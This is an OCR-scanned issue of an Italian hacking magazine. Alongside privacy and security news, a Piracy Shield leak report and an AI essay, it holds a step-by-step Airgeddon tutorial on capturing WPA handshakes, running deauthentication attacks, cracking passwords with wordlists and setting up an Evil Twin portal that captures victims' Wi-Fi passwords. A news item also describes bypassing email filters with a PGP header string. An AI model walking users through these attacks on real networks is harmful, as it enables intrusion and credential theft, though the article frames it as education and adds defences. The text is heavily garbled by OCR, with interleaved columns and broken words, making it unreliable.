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In questo numero parliamo di: Airgeddon,
Piracy Shield, Metasploitable3, Initial Access,
Intelligenza Artificiale, Hugging Face, John the

Ripper, Google Dork e molto altro.

Rischio privacy?

vrete letto o sentito della recente decisione della
Camera dei Rappresentanti degli Stati Uniti di
rinnovare la Sezione 702 del FISA senza l'obbligo
di mandato: un provvedimento che solleva profonde
preoccupazioni sulla privacy digitale dei cittadini
americani. Beh, che dire? Ci troviamo di fronte a un bivio
cruciale per il futuro delle liberta civili! Viviamo in
un'epoca in cui la tecnologia pervade ogni aspetto della
nostra vita, dai dispositivi personali alle infrastrutture
critiche. La sorveglianza governativa, se non
adeguatamente controllata, rischia di trasformare la
societa in un luogo dove la privacy e solo un ricordo del
passato. La possibilita per le agenzie di sicurezza di
accedere alle comunicazioni senza l'approvazione di un
giudice mina i principi fondamentali di trasparenza e
responsabilita. E essenziale che ci sia un equilibrio tra la
sicurezza nazionale e la protezione delle liberta
individuali. Le leggi sulla sorveglianza devono essere
progettate per prevenire abusi e garantire che i diritti dei
cittadini siano rispettati. Senza un mandato, il rischio di
violazioni della privacy aumenta esponenzialmente, e la
fiducia nel sistema di giustizia viene compromessa. La
storia recente ci ha insegnato che le potenzialita di
abuso esistono e sono reall. Episodi di sorveglianza
ingiustificata e l'uso improprio dei dati raccolti devono
servire da monito. Come societa, dobbiamo esigere
trasparenza e responsabilita dalle nostre istituzioni, e
lavorare per aggiornare le leggi che regolano la

sorveglianza in modo che riflettano i valori democratici...
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L'INSTALLAZIONE
DI WINDOWS
CONSENTE

DI CARICARE
ALPINE LINUX

UN'INNOVATIVA PROCEDURA
PERMETTE DI INSTALLARE UNA
DISTRIBUZIONE LINUXATTRAVERSO
ILSETUP DI WINDOWS

n ricercatore indipendente ha

trovato un modo per caricare
Alpine Linux utilizzando il processo
di installazione di Windows 10.
Questa procedura, sebbene non uf-
ficiale, dimostra come sia possibile
sfruttare l'installer di Windows per
avviare una distribuzione Linux.
La tecnica richiede un'accurata e at-
tenta configurazione delle partizio-
ni del disco nonché l'utilizzo di stru-
menti avanzati come Microsoft
DISM per incorporare l'immagine di
Linux nel setup del sistema operati-
vo Windows.
Questa innovativa procedura non
solo mette in evidenza le potenzia-
lita nascoste degli strumenti di in-
stallazione di Windows, ma apre
anche nuove strade per l'utilizzo di
distribuzioni Linux in ambienti tra-
dizionalmente dominati da Win-
dows.

#SICUREZZA




#HACKING Il sistema operativo di Canonical sbarca
sulla console grazie a Switchroot

| progetto Switchroot ha compiuto un ulteriore passo avanti, per-
mettendo ora linstallazione di Ubuntu 24.04 su Nintendo Switch.
Questo sviluppo apre nuove possibilita per gli utenti che desiderano

utilizzare una distribuzione Linux sulla console portatile di Ninten-
do, espandendone le funzionalita ben oltre i suoi usi tradizionali.
Nintendo Switch e dotata di un hardware basato su ARM, con il suo
chip Nvidia Tegra X1 che offre una potenza di calcolo notevole per

una console portatile. All'uscita della Switch, il supporto per sistemi
operativi alternativi era ancora limitato, ma con ilcrescere della po-
polarita della console, diverse distribuzioni Linux hanno iniziato a

essSele

adattate per funzionare su di essa. Tra queste, Ubuntu e una

delle piu conosciute e apprezzate.

TELEGRAM, CCTV TRACCI
GLI UTENTI IN TEMPO REALE

Scoperta una pericolosa falla nell’'app che

permette di tracciare gli utenti

U n nuovo strumento chiamato Close-Circuit Telegram Vision
sta sollevando preoccupazioni riguardo alla privacy degli

uter

\ZICIN

tidi Telegram. Questo tool sfrutta la funzione "Persone nelle
anze’ pertracciare in tempo reale |la posizione degli utenti a

livello globale. Anche se Telegram afferma che questa funzione e

nensata per facilitare la connessione tra utenti nelle vicinanze,
'utilizzo da parte di CCTV ha evidenziato carenze nei meccanismi

di protezione della privacy.

NEWS

UNA STRINGA
ELUDE I FILTRI
ANTIVIRUS

#SICUREZZA Alcuni ricercatori

hanno individuato una falla che
permette di bypassarei filtri
di sicurezza nelle email

n gruppo diricercatori accade-

mici ha scoperto una vulnera-
bilita critica nei sistemi di filtrag-
gio delle email utilizzati in ambito
aziendale e accademico. La falla
consente di eludere i filtri antivi-
rus e antispam semplicemente
includendo la stringa BEGIN PGP
MESSAGE all'inizio del messaggio.
Questa stringa, che solitamente
indica l'inizio di un messaggio ci-
frato o firmato digitalmente, fa si
che | contenuti successivi, com-
presi 1| link pericolosi, vengano
ignorati dai filtri di sicurezza.
La stringa BEGIN PGP MESSAGE e
utilizzata per segnalare che il
messaggio e protetto da PGP
(Pretty Good Privacy), un sistema
di crittografia che garantisce la
privacy e l'integrita dei dati.
| ricercatori hanno testato diverse
soluzioni di sicurezza, tra cui Mi-
crosoft Outlook Safe Links, parte
di Microsoft Defender for Office
365, e hanno rilevato che | mes-
saggi contenenti la stringa BEGIN
PGP MESSAGE possono passare
attraverso i filtri senza essere ri-
levati. Questo perché il sistema
presuppone che il contenuto ci-
frato sia sicuro e intatto, permet-
tendo cosi agli hacker di inserire
link dannosi che non vengono
analizzati.
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https://short.tips/url/hackgetO1

La cassaforte mimetizzata CASTELL DECO & un inno- i
vativo contenitore di sicurezza, camuffato da fiorie- R
ra per uso interno ed esterno. Ideale per nascondere ‘
denaro, carte di credito e documenti, presenta un desi- o~
gn intelligente. Realizzata con materiali robusti, inclu- I
de un contenitore in metallo con strato inferiore in ac- . “ a2 ‘

ciaio e superiore in ABS, antiruggine e resistente alle

iIntemperie. La serratura a chiave, con due chiavi inclu- |

se, garantisce sicurezza, mentre i fori preinstallati per- * ‘

mettono un fissaggio stabile. Dimensioni compatte per |
una mimetizzazione discreta e efficace. &’J
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https://short.tips/url/hackget02

uesta cornice foto SKS rappresenta un
~avanzato nascondiglio segreto per de-
naro e oggetti di valore. Realizzata in legno
di pino di alta qualita, garantisce robustezza
e versatilita. La cornice, dotata divetro liscio
e resistente, include una borsa ignifuga e
Impermeabile, capace di proteggere | beni
fino a 10 minuti di esposizione al fuoco diret-
to. Le dimensioni esterne sono 25 x 20 x 4,3
cm, mentre lo spazio interno misura 22 x 17
X 1,5 cm, perfetto per conservare documenti
e gioielli. Utilizzabile come porta foto da ta-
volo o da parete, garantisce sicurezza di-
screta in piena vista.

logio da parete, ideale per proteggere denaro, medi-
cine, carte di credito, documenti, chiavi, gioielli e altri
oggetti di valore. Realizzata con materiali robusti, offre
una protezione indistruttibile e discreta. Il design au-
tentico crea un'il-
lusione  perfetta
per la protezione
antifurto. Installa-
bile come un nor-
male orologio, si
apre come una
porta rivelando un
vano segreto com-
posto da tre scom-
partimenti. La con-
fezione include,
ovviamente, un
orologio originale
che presenta uno
scomparto nasco-
sto. Il tutto lo ren-
de anche un’idea
regalo unica, prati-
ca e funzionale.

| tratta di una cassaforte segreta, camuffata da oro- 0







Abbiamo provato un tool usato a
ner accedere alle retl

ell'lambito della cyber-
security, comprende-
re le tecniche di
hacking non e solo
una prerogativa degli attaccan-
ti, ma anche un aspetto fonda-
mentale per chi si occupa di di-
fendere le reti informatiche.

Questo approfondimento in-
tende esplorare alcune tecni-
che attraverso le quali un attac-
cante potrebbe cercare di
compromettere la sicurezza
di una rete Wi-Fi. L'obiettivo e
duplice: da un lato, fornire agli
amministratori di sistema e ai
professionisti della sicurezza le
conoscenze necessarie  per
identificare e contrastare tali at-
tacchi, e dall'altro, sensibilizzare
gli utenti riguardo l'importanza
di adottare misure di sicurezza
efficaci. E importante sottoline-
are che le informazioni fornite
in questo articolo devono esse-
re utilizzate esclusivamente per

scopi legittimi e in contesti lega-
li. La conoscenza delle tecniche

di hacking non deve mai essere
Impiegata per condurre attivita
illecite, bensi per migliorare la
sicurezza informatica e proteg-
gere le risorse digitali da poten-
ziali minacce!

ALCUNI CONCETTI BASE

Il termine “wireless hacking” af-
fonda le sue radici nella storia
delle reti Wi-Fi, la cui diffusione
ha iniziato a guadagnare terre-
no fin dagli anni ‘90.
Originariamente, le reti wireless
non erano dotate di protocolli
robusti di sicurezza, il che le
rendeva particolarmente vulne-
rabili agli attacchi. Uno dei primi
standard di sicurezza, il Wired
Equivalent Privacy (WEP), intro-
dotto a fine anni Novanta, si e
rapidamente rivelato inefficace
e vulnerabile.

Con l'evoluzione delle tecnolo-

Q uesto articolo presenta informazioni e scenari ipotetici utilizza-

ti esclusivamente a scopo educativo e illustrativo. Il nostro in-
tento e di mostrare come certi strumenti possano essere sfruttati
da individui malintenzionati per condurre attacchi informatici. Invi-
tiamo i nostri lettori a utilizzare queste informazioni con responsa-
bilita e sempre nel rispetto delle leggi vigenti.

=AU

ai pirati informatici
wireless anche se criptate

gie wireless e l'aumento della
consapevolezza riguardo la si-
curezza, sono stati sviluppati
standard piu robusti, come Il
Wi-Fi Protected Access (WPA) e
il suo successore, WPA2. Tutta-
via, anche questi standard non
sono esenti da vulnerabilita.
Questi sviluppi storici hanno
posto le basi per un continuo
gioco del gatto e del topo tra gli
sviluppatori di tecnologie di si-
curezza e gli hacker, stimolando
un’‘evoluzione continua nel
campo della sicurezza delle reti
wireless.

AIRGEDDON

Ora passiamo al tool che utiliz-
zeremo. Si chiama Airgeddon ed
€ uno_strumento open-source
utilizzato per individuare ed
exploitare vulnerabilita all'inter-

no di reti wireless. Questo tool
PUO essere adoperato su qualsi-
asi distribuzione Debian/Linux e
necessita di una scheda di rete
che supporta la modalita di mo-
nitoraggio.

METTIAMOCI ALLOPERA

Prima di passare nel vivo dell’a-
zione e opportuno capire che
cosa e I'hnandshake in una rete
WPA e WPA2 e come avviene.




E l'hardware? Ecco l'installazione deil driver

Diamo un'‘occhiata alla parte hardware. Se state
utilizzando una scheda di rete ALFA con un

chipset supportato, allora quello che dovete fare di-
pende direttamente da quale sistema operativo e
distribuzione state adoperando:

eKali Linux

Dovete solo assicurarvi di avere la repository e il
kernel aggiornati:

apt-get update & apt-get upgrade & apt-get

dist-upgrade

*Ubuntu
Dovete solo assicurarvi di avere la repository e il
kernel aggiornati:

apt-get update & apt-get upgrade & apt-get

dist-upgrade

deb http://deb.debian.org/debian/
non-free

A questo punto potete installare il firmware:
sudo apt update

sudo apt 1nstall firmware-misc-nonfree

*Raspberry Pl OS

Assicuratevi di avere repository e kernel aggiornati:

sudo apt upgrade

sudo apt full-upgrade
sudo rpil-update
reboot

Con Raspbian 9 usare il comando:

URL="http://raspblan.raspberrypi.org/

bullseye

raspbian/pool/non-free/f/firmware-nonfree/
firmware-misc-nonfree 20210818-1 all.deb”
wget $URL

sudo apt install ./$(basename $URL)

*Debian
Aggiungete |la seguente linea al file
/etc/apt/sources.list:

essere autorizzato a connet-
tersi. Questo passaggio e fon-
damentale per garantire che
solo chi possiede la password
possa effettivamente accede-
re alla rete;

3. Verifica da parte del dispo-
sitivo: il dispositivo riceve le
istruzioni e, utilizzando la pas-
sword che ['utente ha inserito,
crea una risposta codificata
che viene inviata al router.
Questo passo assomiglia a un
test: se il dispositivo “conosce
la risposta esatta” (ovvero la
password), puo proseguire;

4. Conferma e instaurazione
della connessione:
se la risposta del dispositivo e
corretta, il router conferma
che il dispositivo e autorizzato »

Quando si parla di connessione che awviene tra il dispositivo
a una rete Wi-Fi protetta con che desidera connettersi
WPA o WPAZ2, si fa spesso riferi- (come uno smartphone o un
mento a un processo noto laptop) e il router o punto di
come “handshake”, che puo es- accesso che fornisce la con-
sere tradotto come “stretta di  nessione Wi-Fi.

mano”. Questo termine illustra Ecco come si svolge questa
in modo semplice l'interazione  “stretta di mano” digitale:

1. Inizio della comunicazio-
Armas eddon ne: inizialmente il dispositivo
sermette di...

invia un messaggio al router,
chiedendo di stabilire una
connessione. E come se il di-

+ Catturare Handshake di reti spositivo alzasse la mano e
WPA e WPA2 per ottenere dicesse: “Vorrei connettermi,
'hash delle password; per favore”;

2. Risposta e istruzioni dalla
rete: il router risponde for-
nendo un insieme di istruzio-
ni che il dispositivo deve se-
guire per dimostrare di

» Crackare hash utilizzando
aircrack/hashcat:;

» Effettuare attacchi Evil Twin:

» Effettuare attacchi DoS.
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ormalmente, la scheda di rete di un computer o

di uno smartphone e in una modalita che si
chiama “managed mode”. In questa modalita, il di-
spositivo si connette a una rete Wi-Fi e comunica
solo con il router o il punto di accesso, ignorando |
dati che non sono specificatamente indirizzati ad
essa. La modalita “monitor”, invece, e una modalita

a connettersi e la connessione
viene stabilita.

E il momento in cui la “stretta
di mano” si completa, e il di-
Spositivo puo iniziare a comu-
nicare in modo sicuro con la
rete. Questo processo di
handshake e essenziale per
mantenere la sicurezza delle
reti Wi-Fi, assicurando che
solo gli utenti autorizzati pos-
sano accedere alla rete e pro-
teggendo i dati trasmessi da
accessi indesiderati.

I 1 LE r ! St i I_ SNy SelecLe "! =Ty :'[ ik

Select an option from menu:

B . rxlt script

MOn1tol

stinati a lei).

INIZIAMO CON ILSETUP

Collegatevi su https://short.tips/
url/airgeddon o se state usando
Kali Linux:

Se state usando una VM allora
avrete bisogno di una scheda di
rete USB (per esempio la Alfa

vil.Z21

SUDDOTLIEO Dands r

che permette alla scheda di rete di “ascoltare” tutti |
segnali Wi-Fi nell’'area (non solo quelli che sono de-

In pratica, in modalita monitor, la scheda di rete
cattura tutti i pacchetti di dati che e in grado di rice-
vere, indipendentemente dal fatto che siano desti-
nati al dispositivo o meno.

AWUSO36ACS) per poi collegarla
alla VM (in virtualbox potete far-
lo dalla sezione Sistema >UsDb).
A questo punto Airgeddon e
pronto per trovare target e at-
taccarli.

CATTURARE
HANDSHAKES

Una volta entrati nel menu prin-
cipale vi verra chiesto quale at-
tacco fare. Selezionate la quinta
opzione. A questo punto sele-
zionate la sesta opzione. Air-

sanl

Select another network i1ntertace

Put Intertace 1n monltor sode

b § i il FlET BN = i a F =N =
i, PUt intertace in managed mode

., DOS attacks ménu

5. Handshake/PMKID tools menu

6. Offline WPA/WPA2 decrypt menu

Evil Twin attacks menu

B. WVS attacks menu

9. WNEP attacks menu

19, Enterprise attacks menu

11, ADoutl & CLredlts / Sponsorship mentlions
1

, Dptions and language menu

If you have ccre installed and are experiencing display errors or glitches on some wWindows, Yol

. a
s

Una volta che avete installato Airgeddon potete eseguirlo, selezionare la vostra scheda di rete
e impostarla su Monitor mode.

R P
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Select an option from menu:

Ex1t script

W N =&

DoS attackg menu
*ENLELEL HJ

Select another network
Put i1nterface 1n monitor mode
Put interface 1n managed mode

interface

ools menu

Offline WPAKWPAE decrypt menu
Evil Twin attacks menu

6

8. WPS attacks menu
4 WEP attacks menu
1

@. Enterprise attacks menu

11. About & Credits / Sponsorship mentions
12. Options and language menu

_ | w vil.Z21 main
Interface wlan@ selected. Mode: Monitor. Supported hands
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*tHint+« Select a wifi card to work in order to be able to do more actions
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Per effettuare attacchi DoS e sufficiente selezionare DoS attacks dal menu principale e poi selezionare
come effettuare la deautenticazione.

geddon prima di iniziare a cat-
turare [I'handshake fara su
un’altra finestra uno scan delle
reti intorno a voi e vi fara sce-
gliere il target.

Una volta che avete trovato |l
vostro target fate Ctrl + c e sele-
zionate il target.

A questo punto, potete aspetta-
re che un utente si autentichi
alla rete in modo da catturare
'handshake. Oppure, per forza-
re un‘autenticazione potete di-
sconnettere un utente dalla
rete per poi cosi forzarlo ad au-
tenticarsi nuovamente.

Questo attacco di chiama ba-
nalmente attacco di deautenti-
cazione. L'attacco procede in

gquesto modo:

1) L'attaccante manda un pac-
chetto di deautenticazione
allaccess point specificando
come mittente lindirizzo MAC
di un qualsiasi utente con-
nesso (vittima).

2) A questo punto lattaccante
mandera tanti pacchetti alla
vittima specificando come
mittente il BSSID dell'access
point.

3) In questo modo l'access point
pensera che [utente che vuo-
le deautenticarsi sia la vitti-
ma.

4) La vittima viene disconnessa.

5) Lavittima si riconnette.

6) L'attaccante puoO catturare

'nandshake dell'autenticazio-

ne della vittima.
Lo schema sottostante rappre-
senta l'attacco di deautentica-
zione: Airgeddon ci permette di
effettuare l'attacco di deauten-
ticazione e di catturare I'hand-
shake allo stesso tempo. Sele-
zionate  l'opzione  Deauth
aireplay attack.
Nella finestra che si apre potete
vedere | pacchetti mandati du-
rante l'attacco.
Se Airgeddon riesce a catturare
'nandshake i due terminali si
chiuderanno e 'handshake ver-
ra salvato su un file cap nella
cartella /root.

Ora, potete crackare I'nash che »

13
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HLF 1ps Fiven to possible connected cl1ent:
192,169,1, 55 (Karuma)

Se una vittima si connette, la finestra control mostrera
connessa. Le vittime connesse verranno reindirizzate a

informazioni riguardo il device della vittima

143 /7

target

| portale finto dove verra chiesta una password.

Se la vittima inserisce una password, Airgeddon riuscira a sniffarla.

si trova nell’handshake utiliz-
zando una wordlist.

Per farlo vi bastera tornare nel
menu principale e selezionare
'opzione Offline WPA/WPA2
decrypt menu.

Adesso, potete iniziare il dictio-
nary attack usando una qualsia-
si  wordlist (per esempio
rockyou.txt).

Se siete fortunati riuscirete a
crackare la password con suc-
cesso... nel mondo reale cracka-
re una password puo richiedere
anche ore/giorni/settimane e
non sempre e possibile.

ATTACCO DDOS

Un'attacco DDos spammera ri-
chieste di deautenticazione per
tutti i client connessi all'access
point. Ora che abbiamo visto le
tecniche di attacco piu comuni
possiamo procedere a effettua-
re un attacco Evil Twin.

EVILTWIN

'attacco Evil Twin e una delle
tecniche che possono essere

> 14

eseguite  tramite  strumenti
come Airgeddon. Questo tipo di
attacco si basa sulla creazione di
un access point falso, un “gemel-
lo maligno” della rete originale,
che appare legittimo agli utenti.
L'obiettivo e indurre la vittima a
connettersi a questa rete clona-
ta per intercettare il traffico, rac-
cogliere credenziali e potenzial-

mente lanciare ulteriori attacchi.
Occhio: per effettuare questo
attacco avete bisogno di una
scheda di rete che supporta VIF
(Virtual Interface), noi abbiamo
usato Alfa AWUSO36ACM.

Qui potete trovare una lista con |
chipsets supportati: https://github.
com/v1s1tOrish3r3/airgeddon/
wiki/Cards%20and%20Chipsets.

Alfa AWUSO36ACS. Usata per la cattura dell’handshake e l'attacco di
deautenticazione (la trovate qui: https://short.tips/url/awus036).



Ecco come puo essere utilizzato
Airgeddon per orchestrare un
attacco Evil Twin. Per prima cosa
selezionate dal menu principale
'opzione Evil Twin attacks
menu.

Subito dopo scegliete l'opzione
nove che vi permettera di creare
un portale dove le vittime inseri-
ranno le proprie credenziali.
Scegliete il vostro target e cattu-
rate I'handshake, esattamente
come abbiamo fatto durante gli
attacchi precedenti.

Una volta che avete catturato
'handshake vi verra chiesto in
quale path salvare le password
catturate. Poi selezionate la lin-
gua che il portale finto utilizzera.
Potete anche scegliere se usare
un portale avanzato ma per que-
sto esempio useremo quello di
default: a questo punto l'attacco
iniziera. Airgeddon aprira sei fi-
festre;

AP: mostra lo stato del vostro AP
finto.

DHCP: mostra il servizio DHCP
che semplicemente dara un indi-
rizzo IP alle vittime connesse.
DNS: inizializza dei query DNS
malevoli che reindirizzeranno le
vittime al portale dell’AP finto.
Deauth: Effettua un attacco di

‘I'\suttoEcacco'

Alfa AWUSO36ACM, usata per l'attacco evil twin (supporta VIF)
(La trovate qui: https://short.tips/url/ac1200).

deautenticazione per disconnet-
tere le vittime dall’AP finto.
Webserver: mostra il web server

Come difendersi

ome abbiamo visto, Airgeddon e un tool molto po-
tente e utile che vale la pena inserire all'interno

del proprio inventario.

Esistono tuttavia diversi modi per proteggere una rete

0 se stessi da questi attacchi:

« Password Cracking:
1.Assicurarsi che la propria rete utilizzi WPA2;
2.Creare una password sicura per la propria rete.

che hosta il portale finto.
Control: mostra le password che
le vittime inseriranno.

« Attacco di deautenticazione:
1.Assicurarsi di connettersi alla giusta rete una volta

che il vostro dispositivo viene disconnesso;

e Attacco EVIL TWIN:

1.Assicurarsi di connettersi a una rete sicura;
2.Visitare solo siti HTTPS quando si e connessi a una

rete pubblica;
3.Usare una VPN quando si e connessi a una rete

pubblica.

?



iracy Shield e stato rila-
sciato dall’Autorita Ga-
rante delle Comunica-
zioni e sviluppato da SP
Tech Legal. E una piattaforma
- attiva dal 1° febbraio 2023 -
nata come tutela del diritto
d'autore in tutte quelle manife-
stazioni online in cui e necessa-
rio intervenire tempestivamen-
te (tipicamente una diretta
streaming pirata, realizzata uti-
izzando il cosiddetto “pezzot-
to”, il tanto chiacchierato deco-
der illegale). Prima dell'avvento
della piattatorma, 'oscuramen-
to del flusso streaming doveva
necessariamente passare per |
tempi di legge, era quindi im-
pensabile riuscire a intervenire
durante la trasmissione dell’e-
vento sportivo. Poi, grazie alla
piattaforma Piracy Shield, che
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a oggi conta 309 operatori di
servizi Internet e cinque titolari
di diritti (Dazn, Sky, Lega calcio
Serie A e Serie B ed Rti-Media-
set), le autorita preposte han-
no ottenuto il potere di blocca-
re lo streaming illecito di
contenuti protetti da diritto
d'autore in poco piu di trenta
minuti.

Y

Qualche settimana fa, pero, e

misteriosamente apparso su
GitHub (https.//github.com/

fuckpiracyshield) a nome dell’'u-
tente fuckpiracyshield quello
che in molti considerano il co-
dice sorgente di Piracy Shielq;
nel leak divulgato si troverebbe
davvero di tutto, una fuga di
dati che potrebbe rivelarsi un

Da dove arriva questo codice? Qualcuno ha avuto accesso diretto

allo stesso (dipendente in forza all'azienda o partner), oppure

malintenzionati hanno bucato i sistemi di SP Tech trafugando il tutto.



Come funziona Pirac

PIRAGY SHIELD

detentori dei diritti televisivi, come per esempio Sky e
IDazn per il calcio, forniscono alla piattaforma Piracy
Shield gli indirizzi IP 0 i FQDN (Fully Qualified Domain
Name) dei siti pirata che trasmettono contenuti senza
autorizzazione, contestualmente forniscono alcune
prove che certificano la violazione. A questo punto, in
pochi minuti, Piracy Shield generera un ticket che inclu-
de la segnalazione nella lista dei siti da oscurare; a
quest'ultima attingeranno, prevalentemente in modo
automatico e tramite VPN, gli operatori di telecomuni-
cazioni aderenti - ad oggi sono 309 -, che hanno 30
minuti di tempo per mandare offline i siti pirata che
veicolano contenuti protetti mostrando nella home

page una schermata che informa dell’illecito e della so-
spensione del servizio. Tutto il processo puo avvenire
iIN Modo automatico.

La piattaforma include anche una “white list” di risorse
che non devono essere soggette a sanzioni per varie e
documentate ragioni. Questa lista e stata creata per
contrastare un meccanismo che portava a “punire”
moltissimi siti che non avevano nulla a che fare con la
pirateria, ma venivano sanzionati solo perche condivi-
devano gli stessi IP con chi trasmetteva illegalmente |
contenuti, sarebbe il caso di Cloudflare, un Content De-
ivery Network del tutto estraneo alla vicenda, di Zen-
ayer, un fornitore americano di servizi cloud ecc.

duro colpo per la piattaforma.
L'utente che ha postato il con-
tenuto ha definito Piracy Shield
uno strumento di censura,
pubblicando una sorta di mani-
festo in cui parla della piatta-
forma come “uno strumento di
censura mascherato come unda
soluzione alla pirateria. Piracy
Shield e semplicemente il risulta-
to di incompetenza tecnica ed
eccessiva burocrazia, una Cco-
stante nel governo italiano”.

IL CODICE DIVULGATO

Nel codice trapelato su GitHub,
sviluppato per lo piu in Python,
JavaScript e Rust, si trova diver-
so materiale, dall'interfaccia
utente, allo storage dei dati, fi-
nanche la documentazione in-
terna e i profili degli sviluppa-
tori che avrebbero lavorato al
progetto.

Tra i documenti emersi, SuUsci-
tano particolare interesse quel-
li custoditi nella cartella deno-
minata “data”. In questo
archivio sono raccolti manuali
operativi e guide che mostrano

chiaramente le procedure im-
piegate per la segnalazione e il
pblocco di domini e indirizzi IP
ritenuti responsabili della vio-
azione.

_a divulgazione del codice sor-
gente non dovrebbe, in teoria,
rappresentare una minaccia di
sicurezza per la piattaforma e
gli utenti - soprattutto se si e
gia intervenuti nel caso in cui il
codice diffuso fosse effettiva-
mente correlato alla piattafor-
ma -, tuttavia I'analisi di questo
codice solleva serie perplessita
sulle modalita con cui e stata

)

i o . Hmkawo

Fuce Pracy Shield and 5
Tuch Lege

ZF - BPrgilsh

progettata l'architettura; esper-
ti che lo hanno esaminato at-
tentamente sono riusciti a indi-
viduare lacune significative e
possibili vulnerabilita, indican-
do che l'implementazione po-
trebbe essere incompleta e po-
tenzialmente esposta a rischi.
Basti pensare che, al fine di evi-
tare linclusione di domini
come Google o affini dalla pe-
nalizzazione, | programmatori
hanno gestito il tutto con una
serie di istruzioni “if" concate-
nate, modalita di sviluppo dav-
vero da neofiti.

Fuck Piracy Shioid, AGCOM and SP Tech Legal

Laccount GitHub denominato "Fuckpiracyshield” probabilmente

appartiene a un collettivo di hacker che si battono per
lindipendenza e la liberta di Internet.

1/ a
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cio tra passato, pres
3 evoluzione

alla zappa al trattore,
dal vapore ai motori
elettrici e poi i compu-
ter eisocial, oralintelli-
genza artificiale. Il progresso e
inarrestabile e ogni volta dicia-
Mo che saremo in grado di ge-
stirlo. Ci diciamo che si perde-
ranno posti di lavoro ma se ne
guadagneranno degli altri. Ag-
giungiamo che la tecnologia non
e né buona né cattiva e che sta a
noi farne buon uso. Confidiamo
nella nostra capacita di resilien-
za nel saper gestire il cambia-
mento perche noi stessi viviamo
nel mutamento di contesti ed
eventi. Tuttavia, se ci riflettiamo
un attimo, possiamo renderci
conto che tali mutamenti avven-
gono a intervalli di tempo sem-
pre piu ristretti e potremmo
chiederci se, a un certo punto,
avremo ancora il tempo suffi-
ciente per gestire una risposta

adeguata a guesti eventi.
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C'e da dire che in questo campo
Ci sono piu domande che rispo-
ste. D'altronde, prevedere il fu-
turo non e mai cosa semplice.
Proviamo pero a fare una serie
di considerazioni che potrebbe-
ro darci degli spunti che, se non
Cci consentiranno di prevedere
tale futuro, potrebbero almeno
darcila possibilita di controllarlo
guantomeno in parte, cosi come

appena auspicato.

CONSIDERAZIONI

Parto con la considerazione che
guello che sta succedendo cor
'intelligenza artificiale di questi
ultimissimi anni e qualcosa di
assolutamente sorprendente.
Lo dico da programmatore
softwarista di lungo corso che
ha vissuto le varie altalenanti vi-
cende di software e presunte in-
telligenze: credo ci sia un mo-
mento di svolta. In somma

sintesi, quello che abbiamo

sempre ritenuto un punto fer-
mo, ovvero che le macchine po-
tevano fare solo quello che gli
dicevamo di fare inizia pericolo-
samente a vacillare. Mi spiego
meglio. Per decenni si e ritenuto
che le macchine fossero dei
semplici esecutori di istruzioni,
al pari degli umani, ma che lo fa-
cessero semplicemente in modo
piu veloce rispetto a questi ulti-
mi. Tuttavia, le cose sembrano
essere quasl Improvvisamente
cambiate. La strada tracciata a
partire da “Le leggi del pensiero”
di George Boole nel 1854 e stata
percorsa sempre piu veloce-
mente fino ad arrivare a oggi.
Siamo passati da Ada Lovelace
ad Alan Turing, attraverso Clau-
de Shannon e John McCarthy,
che per primo conio il termine
“Intelligenza artificiale” nel 1956.
Ma ancora Marvin Minsky e
Herbert Simon con i loro lavori
sulle reti neurali artificiali e sui




della

modelli
mente umana.

computazionali

APPRENDIMENTO
AUTOMATICO

Spesso, per semplificare il discor-
so dico che non e sempre piu
vero che s =a + b. Ovviamente, e
una estremizzazione del discor-
SO, ma, il senso che voglio comu-
nicare e che, mentre in passato,
con determinati dati di ingresso e
una ben definita procedura, si
poteva sempre raggiungere un
risultato noto in maniera deter-
ministica, ora, con l'lA il processo
decisionale diventa difficilmente
predittivo essendo pesantemen-
te basato su modelli di probabili-
ta. Ancora, per chiarire, sistemi
quali le reti neurali e altri algo-
ritmi di apprendimento auto-
matico possono elaborare quan-
tita di dati cosl enormi da
individuare relazioni non eviden-
ti o intuitive per gli esseri umani.
Tutto cio puo quindi portare a dei
risultati che non sono facilmente
interpretabili o spiegabili in
modo semplice e che possono
variare anche con piccole modifi-
che nei dati di ingresso o nei pa-
rametri del modello. Queste con-
siderazioni sollevano importanti
questioni sia etiche che legali e
sociali riguardo alla trasparenza,
allequita e alla responsabilita
nell'uso che facciamo dell'lA. An-
che se non ce ne rendiamo sem-
pre conto, le decisioni prese da
algoritmi di IA stanno gia influen-
zando la vita delle persone. Pen-
siamo, per esempio, all'uso delle
IA nel contesto dei social network
quando specifici algoritmi di per-
sonalizzazione creano le cosid-
dette camere d’'eco. Per chiarire,
| social tendono a connetterci

IPERURANIO E Al

con persone che condividono le
nostre opinioni e credenze. Tutto
CiO puo creare un ambiente in cui
le opinioni contrarie sono, se non
assenti, di certo rare, rafforzan-
do le nostre convinzioni preesi-
stenti e rendendo piu difficile il
confronto con prospettive diver-
se. Possiamo ragionevolmente
pensare che questo fenomeno
possa intensificare le convinzioni
relative alle teorie del complotto?
|0 credo proprio di si. Sempre ri-
manendo nell'ambito dei social,
questi possono essere sfruttati
per diffondere intenzionalmente
disinformazione, comprese varie
teorie del complotto gia accenna-
te, al fine di manipolare l'opinio-
ne pubblica o semplicemente per
creare disordine. La velocita e la
portata con cui le informazioni
possono diffondersi sui socia
media rendono queste piattafor-
me particolarmente vulnerabili a
tale sfruttamento. Se ci aggiun-
giamo le attuali possibilita degli
algoritmi di IA di creare dei con-
testi fake (falsi) sia di immagini,
audio e video, ci si rende conto
del pericolo reale che stiamo vi-
vendo.
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Ancora, vale la pena di riflettere
sul fenomeno psicologico per cui
le persone tendono a cercare, in-
terpretare, favorire e ricordare le
informazioni in modo tale che cio
confermi le proprie credenze o
ipotesi, ignorando in maniere au-
tomatica e naturale le prove con-
trarie. Molti algoritmi presenti in
rete possono amplificare questo
contesto, noto come bias (pre-
giudizio), fornendo un flusso co-
stante di contenuti che corri-
spondono alle nostre convinzioni
preesistenti.

IPERURANIO

Riflettendoci su, da ex studente
del liceo con ricordi e attuale
passione per gli studi filosofici,
mi e venuto automatico associa-
re tutto cio al concetto di Iperu-
ranio immaginato da Platone,
ovvero quel luogo delle forme
pure, ideali e immutabili, al di
fuori del mondo sensibile e ac-
cessibile solo attraverso l'intel-
letto. L'idea e che lintelligenza
artificiale puo essere vista come
un tentativo umano di accedere
o replicare llperuranio. Le IA

cercano di creare “modelli per-

Secondo Platone,

lIperuranio e il regno oltre
L cielo dove risiedono le
idee perfette e immutabili,
accessibili solo
dall'intelletto. In questa
immagine della Creazione
| Adamo, il gruppo di
igure rappresenta la sede
della Sapienza divina,
raffigurata in forma di
cervello, la cuianatomia e
mimetizzata nel dettaglio
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% HACKTUALITA

fetti” basati su enormi quantita
di dati per prevedere o simulare
comportamenti reali. In un certo
